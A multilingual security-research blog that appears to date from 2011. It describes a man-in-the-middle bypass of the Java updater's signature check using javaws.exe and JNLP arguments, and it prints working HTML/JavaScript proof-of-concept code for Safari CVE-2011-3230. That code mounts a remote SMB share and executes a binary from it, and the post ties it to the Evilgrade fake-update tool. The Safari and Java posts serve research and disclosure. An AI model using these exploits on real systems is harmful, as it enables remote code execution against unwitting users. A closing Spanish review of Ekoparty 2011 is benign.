Pwning Java update process 2007-Today

Last week a Trojan appeared on the news, named FinFisher is being sold exclusively to law enforcement and intelligence agencies of different nations for monitoring PCs and mobile devices.

What is so interesting about FinFisher?

It uses as an infection vector, fake updates in the iTunes application exploiting a vulnerability that I reported in 2008 and interestingly Apple three years after on November 14 published patch to solve it.

Two blogs covered this story in depth, I recommend you to visit Seguridad Apple & Krebs on Security who were reporting on the matter.

And the Java update?

On the same day that Apple was alerted about the problem, I did it with SUN with the difference that they published a patch on December 3, 2008. In early 2010 I discovered that it was possible to bypass the restrictions of this patch. Their first update system worked like this:

1) The updater requests in a insecure way the file java.sun.com/update/1.6.0/map-m-1.6.0.xml, this is done using HTTP. This is the content of the file:

<java-update-map>

<mapping>

<version>1.6.0_27</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>...

<mapping>

<version>1.6.0_28</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>

</java-update-map>

2) The updater compares it's version with the tag <version>, if it's a newer release, it downloads the file defined in <url> then the user gets a notification regarding a new update available.

3) The file contains the following content:

<java-update>
<information version="1.0" xml:lang="en">
<caption>Java Update - Update Available</caption>
<title>Java Update Available</title>
<description>Java 6 Update 29 is ready to install. Click the Install button to update Java now. If you wish to update Java later, click the Later butto
<moreinfo>http://java.com/infourl</moreinfo>
<AlertTitle>Java Update Available</AlertTitle>
<AlertText>A new version of Java is ready to be installed.</AlertText>
<moreinfotxt>More information...</moreinfotxt>
<url>http://javadl.sun.com/webapps/download/GetFile/1.6.0_29-b110/windows-i586/jre-6u29-windows-i586-iftw-rv.exe</url>
<version>1.6.0_29-b110</version>
<post-status>https://nometrics.java.com</post-status>
<cntry-lookup>http://rps-svcs.sun.com/services/countrylookup</cntry-lookup>
<predownload></predownload>
<options>/installmethod=jau SP1OFF=1 SP2OFF=1 SP3OFF=1 SP4OFF=1 SP5OFF=1 SP6OFF=1 SP7OFF=1 SP8OFF=1 SP9OFF=1 SP10OFF=1 SP11OFF=1 MSDIR=ms5 SPWEB=http://
<urlinfo>0a8ddda613f0196beac748407767efebcaea83ca</urlinfo>
</information>
</java-update>

4) If the user confirms the update, the binary set in the <url> tag will get downloaded, if it's signed by CA it will be executed, if not the user will have to confirm the execution.

After the 2008 patch, SUN kept the same update implementation using HTTP with the exception of one more validation step.

5) Before executing the file it compares that the binary is signed by SUN...

Java update bypass:

To bypass this restriction we send the Java Web Start (javaws.exe) binary as payload and since we can control the arguments with the tag <options> we put an address with a JNLP under our control & Bingo!

This technique was presented at Black Hat & Defcon 2010 with the last version of Java 1.6.0_22 and still today the last version Java <=1.6.0.28 remains vulnerable.

The following video demonstrates the vulnerability:

Important Dates:

• 2007 It was first presented at ekoparty (Itunes/Java vulnerable).
• 2008 We presented Evilgrade at Troopers, Shakacon & H2HC.
• By the end of 2008, We got in touch with the vendors. SUN publishes the patch. We release Evilgrade 1.0 to the public.
• 2010 We presented Evilgrade 2.0 at Defcon/BlackHat, and we release it to the public.
• 2011 Apple fixes the iTunes flaw, SUN still has no clue about their bug.

While there was not an a initial contact with the company, shouldn't they do their homework and learn where researchers publish our work?

Or should we wait for FinFisher 2.0 release so they are forced to patch it?

Think about it...

Cheers!

Pwning Java update process 2007-Today (ES)

La semana pasada se hizo publico un troyano llamado FinFisher que estaba siendo comercializado exclusivamente a fuerzas de seguridad y agencias de inteligencia de distintas naciones para vigilar PCs y dispositivos mobiles.

¿Que tiene de interesante FinFisher?

Utiliza como vector de infección updates falsos de la aplicación iTunes, explotando una vulnerabilidad que reporté en 2008 y curiosamente Apple luego de 3 años, el 14 de Noviembre publico el parche para solucionarla.

Dos blogs cubrieron esta noticia en profundidad, les recomiendo que visiten Seguridad Apple y Krebs on Security quienes estuvieron informando del asunto.

¿Y el update de Java?

En la misma fecha que avisé del problema en Apple lo hice en Sun con la diferencia que ellos sacaron un parche el 3 de Diciembre del 2008. A principios del 2010 descubrí que era posible saltar las restricciones de este parche. Su primer sistema de actualización realizaba las siguientes acciones:

1) El updater obtiene por http de manera insegura el archivo java.sun.com/update/1.6.0/map-m-1.6.0.xml, que contiene lo siguiente:

<java-update-map>

<mapping>

<version>1.6.0_27</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>...

<mapping>

<version>1.6.0_28</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>

</java-update-map>

2) El updater compara su versión actual con el tag <version>, si es mas reciente procede a obtener el archivo en el tag <url> y preguntarle al usuario si desea instalar la nueva actualización.

3) El archivo contiene la siguiente información:

<java-update>
<information version="1.0" xml:lang="en">
<caption>Java Update - Update Available</caption>
<title>Java Update Available</title>
<description>Java 6 Update 29 is ready to install. Click the Install button to update Java now. If you wish to update Java later, click the Later butto
<moreinfo>http://java.com/infourl</moreinfo>
<AlertTitle>Java Update Available</AlertTitle>
<AlertText>A new version of Java is ready to be installed.</AlertText>
<moreinfotxt>More information...</moreinfotxt>
<url>http://javadl.sun.com/webapps/download/GetFile/1.6.0_29-b110/windows-i586/jre-6u29-windows-i586-iftw-rv.exe</url>
<version>1.6.0_29-b110</version>
<post-status>https://nometrics.java.com</post-status>
<cntry-lookup>http://rps-svcs.sun.com/services/countrylookup</cntry-lookup>
<predownload></predownload>
<options>/installmethod=jau SP1OFF=1 SP2OFF=1 SP3OFF=1 SP4OFF=1 SP5OFF=1 SP6OFF=1 SP7OFF=1 SP8OFF=1 SP9OFF=1 SP10OFF=1 SP11OFF=1 MSDIR=ms5 SPWEB=http://
<urlinfo>0a8ddda613f0196beac748407767efebcaea83ca</urlinfo>
</information>
</java-update>

4) Si el usuario confirma la actualización se descargara el binario que se encuentra en el tag <url>, en el caso que el archivo esté firmado por una entidad certificada ejecuta el binario, de lo contrario preguntaba al usuario si desea ejecutar el binario.

Luego del parche del 2008, SUN continuo utilizando la misma mecánica de update, todo vía HTTP con la excepción de una comprobación adicional.

5) Antes de ejecutar el archivo comprueba que el binario este firmado por una entidad certificante y sea un certificado de SUN.


Java update bypass:
Para saltar esta restriccion enviamos como binario el Java Web Start (javaws.exe) y como podemos controlar los argumentos con el tag <options> le pasamos una direccion que controlamos con un JNLP y bingo!

Esta técnica fue presentada en Blackhat y Defcon 2010 con la ultima version Java 1.6.0_22 y hasta hoy sigue siendo vulnerable en la ultima version de Java <=1.6.0.28.

El siguiente video demuestra la vulnerabilidad:

Fechas:

• 2007 Fue presentando por primera vez Evilgrade en ekoparty (Itunes/Java vulnerable).
• 2008 Presentamos Evilgrade en Troopers, Shakacon y H2HC.
• Fines del 2008, Nos pusimos en contacto con los vendors. Sun publico el parche. Lanzamos Evilgrade version 1.0
• 2010 Presentamos Evilgrade version 2.0 en Defcon/Blackhat y publicamos version 2.0
• 2011 Apple corrige vulnerabilidad en iTunes y Sun aun no se dio cuenta de su vulnerabilidad.

Si bien no hubo un contacto inicial con la empresa, no deberian hacer su tarea y enterarse en los medios donde los investigadores publicamos nuestros trabajos?
O hay que esperar a la version 2.0 de FinFisher para que lo resuelvan?

Para pensar...
Saludos!

Pwning Java update process 2007-Today (BR)

Na semana passada um Trojan apareceu na mídia, com o nome de FinFisher, este está sendo associado exclusivamente para leis e para agências de inteligência de diferentes nações para monitoramento de computadores e de dispositivos móveis.

O que é tão interessante sobre FinFisher?

Ele usa como vetor de ataque, atualizações falsas do iTunes, explorando uma vulnerabilidade que relatei em 2008, e curiosamente a Apple só agora, três anos depois, em 14 de Novembro publicou o patch para resolver.

Dois blogs analisaram com maior profundidade esta história, eu recomendo que você visite Seguridad Apple & Krebs on Security que trataram sobre o assunto.

E a atualização do Java?

No mesmo dia em que a Apple foi alertada sobre o problema, eu fiz isso com a SUN, à diferença é que eles publicaram um patch no dia 03 de Dezembro de 2008. No início de 2010 eu descobri que era possível “bypassar” as restrições deste patch. O primeiro update deles funcioanava desta maneira:

1) O atualizador faz a requisição do arquivo java.sun.com/update/1.6.0/map-m-1.6.0.xml, de forma insegura, pois isto é feito usando HTTP. Este é o conteúdo do arquivo:

<java-update-map>

<mapping>

<version>1.6.0_27</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>...

<mapping>

<version>1.6.0_28</version>

<critical>1</critical> <url>http://javadl-esd.sun.com/update/1.6.0/au-descriptor-1.6.0_29-b110.xml</url>

</mapping>

</java-update-map>

2) O atualizador compara sua versão atual com a tag <version>, e se for mais novo, procede a fim de obter o arquivo através da tag <url> então, pergunta ao usuário se ele deseja instalar a nova atualização.

3) O arquivo contêm as seguintes informações:

<java-update>
<information version="1.0" xml:lang="en">
<caption>Java Update - Update Available</caption>
<title>Java Update Available</title>
<description>Java 6 Update 29 is ready to install. Click the Install button to update Java now. If you wish to update Java later, click the Later butto
<moreinfo>http://java.com/infourl</moreinfo>
<AlertTitle>Java Update Available</AlertTitle>
<AlertText>A new version of Java is ready to be installed.</AlertText>
<moreinfotxt>More information...</moreinfotxt>
<url>http://javadl.sun.com/webapps/download/GetFile/1.6.0_29-b110/windows-i586/jre-6u29-windows-i586-iftw-rv.exe</url>
<version>1.6.0_29-b110</version>
<post-status>https://nometrics.java.com</post-status>
<cntry-lookup>http://rps-svcs.sun.com/services/countrylookup</cntry-lookup>
<predownload></predownload>
<options>/installmethod=jau SP1OFF=1 SP2OFF=1 SP3OFF=1 SP4OFF=1 SP5OFF=1 SP6OFF=1 SP7OFF=1 SP8OFF=1 SP9OFF=1 SP10OFF=1 SP11OFF=1 MSDIR=ms5 SPWEB=http://
<urlinfo>0a8ddda613f0196beac748407767efebcaea83ca</urlinfo>
</information>
</java-update>

4) Se o usuário confirmar, a atualização irá baixar o binário que está na tag <url> , já se o arquivo for assinado por uma entidade certificada, o binário é diretamente executado, caso contrário, irá solicitar ao usuário que execute o binário.

Após o patch de 2008, a SUN continua usando a mesma forma de atualização, ou seja, tudo via HTTP com exceção de uma verificação adicional.

5) Antes de executar o arquivo, é verificado se o binário é assinado por uma entidade certificadora e é um certificado da SUN...

Java update bypass:

Para “bypassar” esta verificação, enviamos como binário o (javaws.exe) e como nós podemos controlar os argumentos com a tag <options> passamos uma direção que nós controlamos com um JNLP e Bingo!

Esta técnica foi apresentada na Blackhat e na Defcon em 2010, com a última versão Java 1.6.0_22, e até hoje continua vulnerável na última versão do Java <=1.6.0.28.

O vídeo a seguir demonstra a vulnerabilidade:

Datas:

• 2007 Foi apresentado pela primeira vez o Evilgrade na Ekoparty (Itunes e Java vulneráveis).
• 2008 Apresentamos o Evilgrade na Troopers, na Shakacon e na H2HC.
• No final de 2008, nós entramos em contato com os vendors. SUN publicou o patch. Lançamos a versão 1.0 do Evilgrade.
• 2010 Apresentamos o Evilgrade versão 2.0 na Defcon/Blackhat e publicamos a versão 2.0.
• 2011 Apple corrige vulnerabilidade no iTunes e a Sun não se deu conta de sua vulnerabilidade.

Não houve um contato inicial com a empresa, porém não deveriam estas fazer sua lição de casa e buscar na mídia onde os pesquisadores publicam os seus trabalhos?

Ou devem esperar a versão 2.0 do FinFisher para resolverem?

Para pensar...

Saudações!

(*) Traduzido por Jordan M. Bonagura (tw)

Safari 5.1.1 Old School Ejecución remota PoC (CVE-2011-3230)

El pasado 12 de Octubre Aaron Sigel hizo publico interesante bug (CVE-2011-3230) en la ultima version de Safari < 5.1.1 solo version Mac OS X.

Esta vulnerabilidad como comenta Aaron  “allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page.”

El siguiente POC ilustra la vulnerabilidad:

<html> <head> <base href="file://"> <script>  function DoIt() {   alert(document.getElementById("cmdToRun").value);   document.location=document.getElementById("cmdToRun").value;  } </script> </head> <body> <select id="cmdToRun">  <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>  <option value="/etc/passwd">Launch /etc/passwd</option>  <option value="/Applications/Utilities/Bluetooth File Exchange.app"> Launch Bluetooth File Exchange.app</option> </select> <br /> <input type=button value="Launch" onclick="DoIt()"> <br /> </body> </html>

Por lo que podemos observar no se pueden pasar argumentos y hay que saber exactamente el path de lo que se necesita ejecutar.

Adicionalmente LaunchServices verifica el bit quarantine con lo cual no es posible ejecutar directamente un binario bajado desde internet.

Modificando un poco el exploit logramos ejecutar un binario que controlemos:

<html> <head> <base href="file://"> </head> <body>     <iframe src="smb://Administrador:X@x.x.x.x/C$"       width="0" height="0" scrolling="auto" frameborder="1" transparency>     </iframe> <script> function sleep(milliSeconds){         var startTime = new Date().getTime(); // get the current time         while (new Date().getTime() < startTime + milliSeconds); // hog cpu } sleep(8000); document.location="/Volumes/C$/infobyte/ls"; </script> </body> </html>

En este ejemplo:
1) Obligamos a montar una partición por SMB, de esta manera podemos adivinar el directorio /Volumes/[NAMESHARE]
2) Luego dejamos un sleep para hacer tiempo hasta que se monte la unidad
3) Por ultimo ejecutamos el binario, en este caso un simple "ls"

Para este ataque se puede utilizar otros protocolos como FTP/AFP

El problema es que un warning pide la confirmacion del usuario para ejecutarlo.

Agregamos el modulo safari.pm a evilgrade para aprovechar esta vulnerabilidad y hacer creer a los usuarios que es una actualizacion.
La ultima version la pueden ver en: https://code.google.com/p/isr-evilgrade/source/list

Lo divertido es que hay file types desconocidos por Mac y estos sin warnings pueden ser ejecutados por el launch services.

El siguiente PoC, utiliza como protocolo FTP y luego ejecuta un PDF
http://www.infobytesec.com/exploit/ISR-safaripoc.html

Imaginemos por ejemplo la combinacion de esta vulnerabilidad con algun file type explosivo.
Excelente old school bug felicitaciones a Aaron Sigel (@diretraversal) por el descubrimiento.

Referencias:
http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html
http://support.apple.com/kb/HT5000

Safari 5.1.1 Old School Remote Execution PoC (CVE-2011-3230)

On October 12 Aaron Sigel was published an interesting bug (CVE-2011-3230) in the latest version of Safari version < 5.1.1 (Mac OS X only)

Aaron noticed that  “It allows you to send any 'file:' url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page.”

The following POC exposes the vulnerability:

<html> <head> <base href="file://"> <script>  function DoIt() {   alert(document.getElementById("cmdToRun").value);   document.location=document.getElementById("cmdToRun").value;  } </script> </head> <body> <select id="cmdToRun">  <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>  <option value="/etc/passwd">Launch /etc/passwd</option>  <option value="/Applications/Utilities/Bluetooth File Exchange.app"> Launch Bluetooth File Exchange.app</option> </select> <br /> <input type=button value="Launch" onclick="DoIt()"> <br /> </body> </html>

As we can see above, you can not give arguments to it and you need to know exactly the path it takes to run.

Additionally LaunchServices checks the "quarantine bit" and thus can not directly execute a binary downloaded from the Internet.

Modifying a little exploit we can execute a binary of our possession:

<html> <head> <base href="file://"> </head> <body>     <iframe src="smb://Administrador:X@x.x.x.x/C$"       width="0" height="0" scrolling="auto"   frameborder="1" transparency>     </iframe> <script> function sleep(milliSeconds){         var startTime = new Date().getTime(); // get the current time         while (new Date().getTime() < startTime + milliSeconds); // hog cpu } sleep(8000); document.location="/Volumes/C$/infobyte/ls"; </script> </body> </html>

In this example:
1) We mount an SMB partition, so you can guess the directory /Volumes/[NAMESHARE]
2) Then we sleep for a while until the unit is mounted.
3) Finally run the binary, in this case a simple "ls".

For this attack you can use other protocols such as "FTP / AFP"

The problem is that an alert will pop up asking for user confirmation to execute the binary.

We just added the module safari.pm to evilgrade to take advantage of this vulnerability and make users believe it's an update.

Dowload the last version: https://code.google.com/p/isr-evilgrade/source/list

The funny thing is that there are unknown file types by Mac OS X and these ones without user interaction can be executed by the launch services.

The following PoC uses the FTP service and then open a PDF:
http://www.infobytesec.com/exploit/ISR-safaripoc.html

Imagine for example the combination of this vulnerability with a dangerous file type..
Congratulations for the research to this 'old school' vulnerability Aaron Sigel (@diretraversal).

Reference:
http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html
http://support.apple.com/kb/HT5000

Ekoparty 2011 review

Una nueva edición de la Ekoparty Security Conference se reallizó este año en los días 21, 22 y 23 de Septiembre, en Buenos Aires, Centro Cultural Konex.

Si bien el Konex fue el mismo lugar donde se realizó la eko pasada, esta edición demostró que tiene la habilidad de innovar, ya que la utilización de las facilidades no fue exactamente la misma.

Hubo una sección especialmente para los Workshops (antesala), que más adelante dio lugar al CTF (ampliaremos más adelante), el auditorio principal fue el mismo lugar que el año pasado (Sala A), y hubo una sala adicional, en la cual se estaba repitiendo en tiempo real lo que ocurría en el auditorio principal (Sala B). Luego estaba la sección de sponsors (Sala E), que presentó nuevas actividades para pasar el tiempo, y el Bar que está presente allí todos los años para poder refrescarse si así lo desean.

A diferencia del año pasado, este duró 3 días, donde el primer dia se sumaron los workshops y ofrecerle a la gente que podía, registarse en un rango horario mucho más cómodo durante la mañana.

Trainings

Dos días antes de la conferencia se realizaron trainings dictadas por expertos en su área, los cuales contaban de aulas independizadas por cada training, breaks para desayunar, y un almuerzo en un restaurante a pocas cuadras de las oficinas. Para ver la lista completa de trainings hacer click aquí.


Primer día

Las puertas del Konex abrieron el 21 temprano en la mañana para recibir a 150 ejecutivos que atendieron a la Ekoparty Executive Breafing (que luego se quedaron al resto de la conferencia), acompañados de un desayuno y servicios de catering, mientras que el resto de los asistentes podían ir a registrarse para volver al mediodía, donde sería el inicio de la ekoparty apta para todo público, así evitando que los asistentes tengan que hacer cola para la registración.

La apertura de la eko comenzó con una charla dictada por Gerardo ‘Gera’ Richarte, hablando sobre privacidad, y de como hay que aprender a dominar la tecnología antes de que ella nos domine a nosotros, un tema bastante a la vista pero ignorado por todos.

Luego del almuerzo se hizo la introducción y la apertura al Capture the Flag organizado por iSight. Una actividad de la cual constaba de 10 equipos que competirían entre ellos, para conseguir acceso a su propio servidor mediante técnicas de explotación, y luego defenderlos para que nadie más puedan acceder al mismo, mientras que se tenía que conseguir acceso al resto de los servidores que están siendo protegidos por los equipos contrarios.

El resto de las actividades fueron varios workshops, un wardriving por la ciudad en un vehículo que llamo muchísimo la atención, el Lockpick village, y el reto forense organizado por la comunidad de Dragonjar que al igual que muchas de las otras actividades, se extendieron a lo largo de toda la conferencia.




Segundo día


El segundo día empezó con un interesante análisis brindado por César Cerrudo, que trataba de como obtener la mayor cantidad de información de una persona, en este caso de nacionalidad Argentina, sólo con ínfimos datos desde el principio.



Entre otras charlas, me gustaría resaltar las siguientes:

- Agustín Gianni, Attacking the Webkit Heap, en la cual explicaba a un nivel técnico, cómo implementar técnicas antiguas para explotar el heap en navegadores como Safari, Chrome y el navegador de Android.

- Mariano Nuñes Di Croce donde mostraba que las aplicaciones SAP por más que sólo puedan ser accedidas internamente, también son vulnerables.

- Deep boot por Nicolás Economou que dió a conocer una técnica relativamente genérica para controlar el booteo de cualquier sistema operativo corriendo en 64 bits, con una gran demostración en vivo de como tomaba el control en 3 sistemas operativos, desde la primera instrucción ejecutada por el BIOS hasta la toma de control completa del kernel.

- Ariel Futoransky, que basándose en un paper del Journal of Personality and Social Psychology que hablaba sobre la precognición, nos explicó como se podrían utilizar este fenómeno, entre otras cosas, para construir ataques contra primitivas criptográficas, demostrando así que por más incoherente que esto suene, de ser posible, habría que intentarlo, más allá de si uno es racional o no, porque de ocurrir las ganancias serían infinitas.

- Rubén Santamarta, quien nos ha hecho reir con su explicación del Advanced Persistent Tree, explicó cómo se puede atacar de forma remota sistemas de control industrial, simulando un escenario real, orientado más que nada los sistemas de manejo de energía, siendo que no están con acceso a internet.

Para terminar el segundo día, Mariano Nuñes Di Croce anunció el get together by Onapsis en el bar, donde nos esperó con un widescreen, una playstation 3, varios juegos, con una ronda de más de 1000 cervezas para todos. En medio de todo esto, previamente se había anunciado una sorpresa, pero entre tanta cerveza muchos lo habían olvidado, hasta que en un rincón del bar aparecieron 4 personajes vestidos con atuendos Judíos, que comenzaron a tocar música electrónica de una manera muy sorprendente, los BarMitzMidis.

Tercer día
- Tom Ritter mostró como con programas Open Source, como BOINC y mediante técnicas de factorización de polinomios era posible utilizando computación distribuida crackear contraseñas, entre ellas llaves privadas SSL de 512 bits en menos de 2 días.

- Tobias Mueller nos mostró como sniffear el tráfico entre el Sistema Operativo y un dispositivo USB, interceptando y modificando el contenido de una transferencia de archivos.

- Chema Alonso nos hizo reir como siempre, en esta oportunidad con varias demos de que tan fácil puede ser acceder a un servidor remoto mediante Windows Terminal Citrix, y una vez en él explicó la cantidad de formas que hay para bypassear la seguridad de los mismos.

- Aaron Portnoy explicó como usar el IDA pro para guardar los metadatos y atributos que se pueden recolectar de un binario. Hizo una demostración con una interfaz gráfica implementada por él sobre el IDA pro en donde explicaba como guardar/modificar datos de una manera colaborativa, cosa que hasta ahora el IDA pro no permitía, y había que ayudarse con comentarios al margen.

- Eugene Radionov y Aleksandr Matrosov de ESET explicaron como rootkits modernos in-the-wild saltean mecanismos de seguridad en Microsoft Windows 64 bits, cuando las versiones estas fueron consideradas resistentes contra rootkits en modo kernel debido a chequeos de integridad de código realizados por el sistema.

- Hojun Song, un investigador dependiente, nos explicó como el arte y la tecnología van de la mano. Expuso su proyecto OSSI (Open Source Satellite Initiative), en el cual estuvo trabajando varios años, que se basaba en liberar su propio satélite al espacio, integrando el concepto de algo personal en contextos culturales a su práctica artísica. Finalmente su satélite conocerá el espacio en Mayo del 2012.

Para el cierre de la conferencia, faltando solo una charla, una de las más esperadas por todos, se repitió una situación similar a la del año pasado, Juliano Rizzo y Thai Duong (quien estaba remotamente conectado, ya que no pudo viajar) iban a mostrarnos como vulnerar SSL, pero antes de su comienzo llegó Nitroman para despabilarnos, ya que luego de tanta jornada, 3 días bastantes agitados, y ya la última charla, había gente bastante dormida.

La charla de Juliano y Thai nuevamente hizo temblar a la Internet, tanto que inclusive Mozilla Corporation estaba pensando en quitar el soporte a los Java Applets en su proximo release y empresas como Google, Microsoft, Oracle e IBM están trabajando árduamente para poder patchear BEAST.

¿Qué es BEAST? Significa Browser Exploit Against SSL/TLS, es un proof of concept que trabaja junto con un sniffer para desencriptar cookies seguras, y luego hacer uso de ellas para hacer una suplantación de identidad. La demostración que se llevó a cabo fué realizada por Thai en el sitio oficial de PayPal, algo que dejó a muchos atónitos, porque desencriptó la cookie en menos un minuto en este caso.







Conclusión:
El hecho de habilitar la registración el día anterior fué un éxito total, ya que tuvimos 1200 asistentes sin que tuvieran que hacer largas colas de espera para su ingreso.

Las sorpresas realmente fueron sorpresas, para todos, creo que nadie se esperaba una banda que tocara música electrónica Judía, y menos que menos el robot de Tron llamado Nitroman, quien luego volvió a sorprendernos en la after-con party con su show.

Con respecto a los resultados de las competencias, queremos felicitar a todos los participantes por el esfuerzo y las horas que le dedicaron a cada una de ellas, en especial los ganadores de cada actividad fueron: KchoTeam del CTF organizado por iSight, EGO_TEAM del CORETEX organizado por Core Security, y Facu de Guzmán del reto forense organizado por Dragonjar.

A todos los que participaron del evento, y a quienes no pudieron asistir, les deseamos muchas gracias por la buena onda que le ponen a la ekoparty, sin importar donde estén, y esperamos verlos nuevamente en una próxima edición de la Ekoparty Security Conference.

Join the resistance!

Pictures by @ekoparty and @golmatt

More pictures by @golmatt :

Ekoparty day #1

Ekoparty day #2

Ekoparty day #3